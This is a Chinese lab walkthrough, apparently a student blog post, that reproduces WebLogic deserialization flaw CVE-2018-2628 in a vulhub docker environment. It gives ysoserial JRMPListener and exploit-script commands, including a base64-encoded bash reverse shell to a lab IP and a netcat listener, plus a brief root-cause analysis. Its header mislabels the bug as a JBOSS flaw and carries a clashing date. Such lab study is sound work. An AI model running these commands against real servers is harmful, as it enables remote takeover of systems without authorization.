作者介绍:Chow
Chow,一个行走的“十万个为什么”,喜欢学自己兴趣所向的知识,虽然现在还是个弱鸡,但是学就完事啦!
一、基本信息
一. 基本概要
发布时间:2017年11月22日
漏洞名称:JBOSSAS5.x/6.x反序列化命令执行漏洞
威胁类型:远程命令执行
CVE编号:CVE-2018-2628
影响版本:Weblogic 10.3.6.0、Weblogic 12.1.3.0、Weblogic 12.2.1.2、Weblogic 12.2.1.3
漏洞描述:CVE-2018-2628为CVE-2017-3248修复版本的绕过,远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,并可获取目标系统所有权限。
二、基本环境和工具
![5786c8ce7cc8d0ce0fbbb7dfdcadf67f.png](https://i-blog.csdnimg.cn/blog_migrate/b27ef11fffe5e15cf05d2e0206ade818.jpeg)
1. 靶机环境:
靶机操作系统:Ubuntu
漏洞环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/
下载:https://vulhub.org/#/docs/install-docker-one-click/
使用说明:
执行以下命令启动Weblogic 10.3.6.0:
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
访问访问http://your-ip:7001/console,初始化整个环境。
2. 操作机环境:
操作操作系统:Kail
检测和发现工具
工具名称:CVE-2018-2628-MultiThreading
工具安装:下载.py文件即可
工具使用说明:2-操作机批量检测脚本CVE-2018-2628-MultiThreading使用说明.doc
工具下载地址:https://github.com/aedoo/CVE-2018-2628-MultiThreading
3、EXP/利用工具
工具名称:44553
工具安装:下载.py文件即可
使用说明:参阅漏洞利用步骤即可
下载地址:https://www.exploit-db.com/exploits/44553
需要配合ysoserial
ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
三、利用过程
(详细说明漏洞的利用过程,要求以拿到webshell权限为利用过程)
1. 利用的条件/漏洞特征
利用Kail下的nmap工具,检测weblogic版本信息和t3协议是否开启。
![8c9f19e69f1547b9c633a2c2018a8b9d.png](https://i-blog.csdnimg.cn/blog_migrate/e9487789f945f94b4f7080bd801fa138.jpeg)
2. 漏洞利用步骤:
步骤1 开启监听服务JRMPListen
本地开启监听服务JRMPListen,利用ysoserial的JRMP对998端口监听
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#[command]即为想执行的命令,而[listen port]是JRMP Server监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 998 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xMjkvNjc2NyAwPiYx}|{base64,-d}|{bash,-i}" #引号内为反弹shell到192.168.160.129 6767端口经过base64加密后的指令
![57ba0612fc9d4ebf614cc0b35a1b1701.png](https://i-blog.csdnimg.cn/blog_migrate/e96d7c891e60feabd62b02ca245264d4.jpeg)
步骤2 新开一个终端,监听反弹shell的端口
nc -lvp 6767
![d72b5875b37a945c6b3c68d5f93e1e9b.png](https://i-blog.csdnimg.cn/blog_migrate/f692a728e3567b5f7a16f2217264c9d3.jpeg)
步骤3 利用exploit脚本攻击
命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#目标ip就是weblogic的ip。端口weblogic的端口
#ysoserial路径就是上方使用的ysoserial的路径
#JRMPListener port为主机端口,就是我使用的Kail,监听端口上方998
#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
python CVE-2018-2628exploit.py 192.168.160.134 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.160.129 998 JRMPClient
![4cb442d58dee3996d07e447f6722250a.png](https://i-blog.csdnimg.cn/blog_migrate/3fc11a7cfa84c78268512db56ee85996.jpeg)
步骤4 成功反弹shell
![4ae3d0e635d7903f0c601fb31f8b77b4.png](https://i-blog.csdnimg.cn/blog_migrate/caf13bea2bd262d63f1f9a4ce098fce6.jpeg)
四、原理分析
![fe5a4a386598efb1d1c1ecc6ce84bc0f.png](https://i-blog.csdnimg.cn/blog_migrate/cdb9a7cb960ca1803aafd56a926eaa3c.jpeg)
CVE-2018-2628原理为在CVE-2017-3248补丁中用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass处理rmi接口类型,这个resolveProxyClass只对 java.rmi.registry.Registry接口进行了判断,找一个其他的rmi接口即可绕过,比如java.rmi.activation.Activator。
![cf2d9ce17949ba513e09e2de2233f60b.png](https://i-blog.csdnimg.cn/blog_migrate/3b873ade3c2da34317e4f58297f64b95.jpeg)
国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。
如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!
学生会信箱:
student@goktech.cn